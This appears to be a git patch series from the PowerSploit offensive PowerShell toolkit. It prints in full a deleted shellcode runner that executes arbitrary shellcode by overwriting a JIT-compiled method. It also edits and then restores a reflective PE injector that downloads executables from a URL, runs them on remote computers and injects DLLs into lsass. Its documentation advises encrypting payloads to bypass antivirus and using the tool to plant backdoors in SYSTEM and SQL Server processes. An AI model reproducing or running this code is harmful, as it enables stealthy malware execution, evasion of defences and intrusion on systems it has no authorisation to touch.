b/CodeExecution/CodeExecution.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' + 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 deleted file mode 100644 index 158a643c..00000000 --- a/CodeExecution/Invoke-ShellcodeMSIL.ps1 +++ /dev/null @@ -1,267 +0,0 @@ -function Invoke-ShellcodeMSIL -{ -<# -.SYNOPSIS - - Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. - - PowerSploit Function: Invoke-ShellcodeMSIL - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions. - -.PARAMETER Shellcode - - Specifies the shellcode to be executed. - -.EXAMPLE - - C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - - Description - ----------- - Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) - Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.NOTES - - Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash! - - Use the '-Verbose' option to print detailed information. - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter( Mandatory = $True )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode - ) - - function Get-MethodAddress - { - [CmdletBinding()] Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] - $MethodInfo - ) - - if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') - { - Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." - } - - try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] } - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') - # Assemble in memory - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') - $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) - # Declaration of the LeakMethod method - $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) - $Generator = $MethodBuilder.GetILGenerator() - - # Push unmanaged pointer to MethodInfo onto the evaluation stack - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - # Assemble everything - $Type = $TypeBuilder.CreateType() - } - - $Method = $Type.GetMethod('LeakMethod') - - try - { - # Call the method and return its JITed address - $Address = $Method.Invoke($null, @()) - - Write-Output (New-Object IntPtr -ArgumentList $Address) - } - catch [System.Management.Automation.MethodInvocationException] - { - Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." - } - } - -#region Define the method that will perform the overwrite - try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute - $Constructor = $Att.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $AssemblyBuilder.SetCustomAttribute($AttribBuilder) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher') - $ModAtt = New-Object System.Security.UnverifiableCodeAttribute - $Constructor = $ModAtt.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) - $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public) - $Params = New-Object System.Type[](3) - $Params[0] = [IntPtr] - $Params[1] = [IntPtr] - $Params[2] = [Int32] - $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params) - $Generator = $MethodBuilder.GetILGenerator() - # The following MSIL opcodes are effectively a memcpy - # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - $SmasherType = $TypeBuilder.CreateType() - } - - $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod') -#endregion - -#region Define the method that we're going to overwrite - try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute - $Constructor = $Att.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $AssemblyBuilder.SetCustomAttribute($AttribBuilder) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe') - $ModAtt = New-Object System.Security.UnverifiableCodeAttribute - $Constructor = $ModAtt.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) - $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public) - $Params = New-Object System.Type[](1) - $Params[0] = [Int] - $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params) - $Generator = $MethodBuilder.GetILGenerator() - $XorValue = 0x41424344 - $Generator.DeclareLocal([Int]) | Out-Null - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) - # The following MSIL opcodes serve two purposes: - # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted - # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode. - foreach ($CodeBlock in 1..100) - { - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0) - $XorValue++ - } - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - $Type = $TypeBuilder.CreateType() - } - - $TargetMethod = $Type.GetMethod('OverwriteMe') -#endregion - - # Force the target method to be JITed so that is can be cleanly overwritten - Write-Verbose 'Forcing target method to be JITed...' - - foreach ($Exec in 1..20) - { - $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null - } - - if ( [IntPtr]::Size -eq 4 ) - { - # x86 Shellcode stub - $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3) - <# - 00000000 60 pushad - 00000001 E804000000 call dword 0xa - 00000006 61 popad - 00000007 31C0 xor eax,eax - 00000009 C3 ret - YOUR SHELLCODE WILL BE PLACED HERE... - #> - - Write-Verbose 'Preparing x86 shellcode...' - } - else - { - # x86_64 shellcode stub - $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57, - 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41, - 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48, - 0x31,0xC0,0xC3) - <# - 00000000 4154 push r12 - 00000002 4155 push r13 - 00000004 4156 push r14 - 00000006 4157 push r15 - 00000008 55 push rbp - 00000009 E80D000000 call dword 0x1b - 0000000E 5D pop rbp - 0000000F 415F pop r15 - 00000011 415E pop r14 - 00000013 415D pop r13 - 00000015 415C pop r12 - 00000017 4831C0 xor rax,rax - 0000001A C3 ret - YOUR SHELLCODE WILL BE PLACED HERE... - #> - - Write-Verbose 'Preparing x86_64 shellcode...' - } - - # Append user-provided shellcode. - $FinalShellcode += $Shellcode - - # Allocate pinned memory for our shellcode - $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length) - - Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))." - - # Copy the original shellcode bytes into the pinned, unmanaged memory. - # Note: this region of memory if marked PAGE_READWRITE - [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length) - - $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod) - - Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))" - Write-Verbose 'Overwriting dummy method with the shellcode...' - - $Arguments = New-Object Object[](3) - $Arguments[0] = $TargetMethodAddress - $Arguments[1] = $ShellcodeAddress - $Arguments[2] = $FinalShellcode.Length - - # Overwrite the dummy method with the shellcode opcodes - $OverwriteMethod.Invoke($null, $Arguments) - - Write-Verbose 'Executing shellcode...' - - # 'Invoke' our shellcode >D - $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222)) - - if ($ShellcodeReturnValue -eq 0) - { - Write-Verbose 'Shellcode executed successfully!' - } -} diff --git a/README.md b/README.md index 4761e00f..dcbd989e 100644 --- a/README.md +++ b/README.md @@ -18,10 +18,6 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or Injects shellcode into the process ID of your choosing or within PowerShell locally. -#### `Invoke-ShellcodeMSIL` - -Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. - #### `Invoke-WmiCommand` Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. From 17bfa4e2762e4c8c819b36503faca2c99ae816f3 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 6 Nov 2015 13:31:58 -0500 Subject: [PATCH 034/296] Fixed a casting bug --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 4ca1b9da..b176d8a6 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -2381,7 +2381,7 @@ $RemoteScriptBlock = { $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false @@ -2440,7 +2440,7 @@ $RemoteScriptBlock = { #ASLR check [IntPtr]$LoadAddr = [IntPtr]::Zero - $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE if ((-not $ForceASLR) -and (-not $PESupportsASLR)) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue From 0eb520e31f97bc0ca83bd2c1546a18dd97e09d79 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 7 Nov 2015 20:25:29 -0500 Subject: [PATCH 035/296] Removed extraneous parameters Removed the following extraneous parameters: -PEPath -PEUrl -ComputerName The functionality they provided can be easily replicated in code outside of Invoke-ReflectivePEInjection. i.e. it should be up to the user how they might want to download a PE before loading it. That should not be dictated by Invoke-ReflectivePEInjection. --- .../Invoke-ReflectivePEInjection.ps1 | 107 +++--------------- 1 file changed, 18 insertions(+), 89 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index b176d8a6..238b9f6f 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -7,14 +7,9 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them. - 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. -This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, -this will load and execute the DLL/EXE in to memory without writing any files to disk. - - 2.) Reflectively load a DLL in to memory of a remote process. As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. @@ -22,39 +17,21 @@ This is probably most useful for injecting backdoors in SYSTEM processes in Sess from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the remote process. - -While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array -containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will -bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba -blog linked below (thanks to whitey). - PowerSploit Function: Invoke-ReflectivePEInjection -Author: Joe Bialek, Twitter: @JosephBialek +Original author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.4 .DESCRIPTION Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. -.PARAMETER PEPath - -The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. - -.PARAMETER PEUrl - -A URL containing a DLL/EXE to load and execute. - .PARAMETER PEBytes A byte array containing a DLL/EXE to load and execute. -.PARAMETER ComputerName - -Optional, an array of computernames to run the script on. - .PARAMETER FuncReturnType Optional, the return type of the function being called in the DLL. Default: Void @@ -78,43 +55,30 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when loading in to a remote process. - -.EXAMPLE - -Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). -Note that the file name on the website can be any file extension. -Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString - -.EXAMPLE - -Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local .EXAMPLE -Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print - the wchar_t* returned by WStringFunc() from all the computers. -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) +Load DemoDLL and run the exported function WStringFunc, print the wchar_t* returned by WStringFunc(). +$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL.dll') +$Result = Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString +Write-Output $Result .EXAMPLE Load DemoEXE and run it locally. -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" +$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" .EXAMPLE -Load DemoEXE and run it locally. Forces ASLR on for the EXE. -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR +$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR .EXAMPLE Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. -Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local - -.EXAMPLE - -Load a PE from a byte array. -Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4" +$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEPath $PEBytes -ProcName lsass .NOTES GENERAL NOTES: @@ -134,8 +98,6 @@ The script has 3 basic sets of functionality: -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. - - DLL LOADING NOTES: PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. @@ -182,50 +144,36 @@ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/b #> -[CmdletBinding(DefaultParameterSetName="WebFile")] +[CmdletBinding()] Param( - [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] - [String] - $PEPath, - - [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] - [Uri] - $PEUrl, - - [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)] + [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, [Parameter(Position = 1)] - [String[]] - $ComputerName, - - [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] [String] $FuncReturnType = 'Void', - [Parameter(Position = 3)] + [Parameter(Position = 2)] [String] $ExeArgs, - [Parameter(Position = 4)] + [Parameter(Position = 3)] [Int32] $ProcId, - [Parameter(Position = 5)] + [Parameter(Position = 4)] [String] $ProcName, - [Parameter(Position = 6)] [Switch] $ForceASLR ) Set-StrictMode -Version 2 - $RemoteScriptBlock = { [CmdletBinding()] Param( @@ -2900,18 +2848,6 @@ Function Main Write-Verbose "PowerShell ProcessID: $PID" - if ($PsCmdlet.ParameterSetName -ieq "LocalFile") - { - Get-ChildItem $PEPath -ErrorAction Stop | Out-Null - [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) - } - elseif ($PsCmdlet.ParameterSetName -ieq "WebFile") - { - $WebClient = New-Object System.Net.WebClient - - [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) - } - #Verify the image is a valid PE file $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' @@ -2935,14 +2871,7 @@ Function Main $ExeArgs = "ReflectiveExe" } - if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) - } - else - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName - } + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) } Main From b8e831e4f9650169371fafc24352b8cdd7e65932 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 7 Nov 2015 19:50:05 -0800 Subject: [PATCH 036/296] Revert "Removed extraneous parameters" This reverts commit 0eb520e31f97bc0ca83bd2c1546a18dd97e09d79. --- .../Invoke-ReflectivePEInjection.ps1 | 107 +++++++++++++++--- 1 file changed, 89 insertions(+), 18 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 238b9f6f..b176d8a6 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -7,9 +7,14 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them. + 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, +this will load and execute the DLL/EXE in to memory without writing any files to disk. + + 2.) Reflectively load a DLL in to memory of a remote process. As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. @@ -17,21 +22,39 @@ This is probably most useful for injecting backdoors in SYSTEM processes in Sess from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the remote process. + +While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array +containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will +bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba +blog linked below (thanks to whitey). + PowerSploit Function: Invoke-ReflectivePEInjection -Original author: Joe Bialek, Twitter: @JosephBialek -Code review and modifications: Matt Graeber, Twitter: @mattifestation +Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None +Version: 1.4 .DESCRIPTION Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. +.PARAMETER PEPath + +The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. + +.PARAMETER PEUrl + +A URL containing a DLL/EXE to load and execute. + .PARAMETER PEBytes A byte array containing a DLL/EXE to load and execute. +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + .PARAMETER FuncReturnType Optional, the return type of the function being called in the DLL. Default: Void @@ -55,30 +78,43 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when loading in to a remote process. + +.EXAMPLE + +Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). +Note that the file name on the website can be any file extension. +Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local .EXAMPLE -Load DemoDLL and run the exported function WStringFunc, print the wchar_t* returned by WStringFunc(). -$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL.dll') -$Result = Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -Write-Output $Result +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) .EXAMPLE Load DemoEXE and run it locally. -$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe') -Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" .EXAMPLE -$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe') -Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR .EXAMPLE Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. -$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL_RemoteProcess.dll') -Invoke-ReflectivePEInjection -PEPath $PEBytes -ProcName lsass +Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local + +.EXAMPLE + +Load a PE from a byte array. +Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4" .NOTES GENERAL NOTES: @@ -98,6 +134,8 @@ The script has 3 basic sets of functionality: -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + + DLL LOADING NOTES: PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. @@ -144,36 +182,50 @@ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/b #> -[CmdletBinding()] +[CmdletBinding(DefaultParameterSetName="WebFile")] Param( - [Parameter(Position = 0, Mandatory = $true)] + [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] + [String] + $PEPath, + + [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] + [Uri] + $PEUrl, + + [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] [String] $FuncReturnType = 'Void', - [Parameter(Position = 2)] + [Parameter(Position = 3)] [String] $ExeArgs, - [Parameter(Position = 3)] + [Parameter(Position = 4)] [Int32] $ProcId, - [Parameter(Position = 4)] + [Parameter(Position = 5)] [String] $ProcName, + [Parameter(Position = 6)] [Switch] $ForceASLR ) Set-StrictMode -Version 2 + $RemoteScriptBlock = { [CmdletBinding()] Param( @@ -2848,6 +2900,18 @@ Function Main Write-Verbose "PowerShell ProcessID: $PID" + if ($PsCmdlet.ParameterSetName -ieq "LocalFile") + { + Get-ChildItem $PEPath -ErrorAction Stop | Out-Null + [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) + } + elseif ($PsCmdlet.ParameterSetName -ieq "WebFile") + { + $WebClient = New-Object System.Net.WebClient + + [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) + } + #Verify the image is a valid PE file $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' @@ -2871,7 +2935,14 @@ Function Main $ExeArgs = "ReflectiveExe" } - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName + } } Main From 992f9800229d58158a4094f8ab4a92e0473fef34 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 7 Nov 2015 20:00:22 -0800 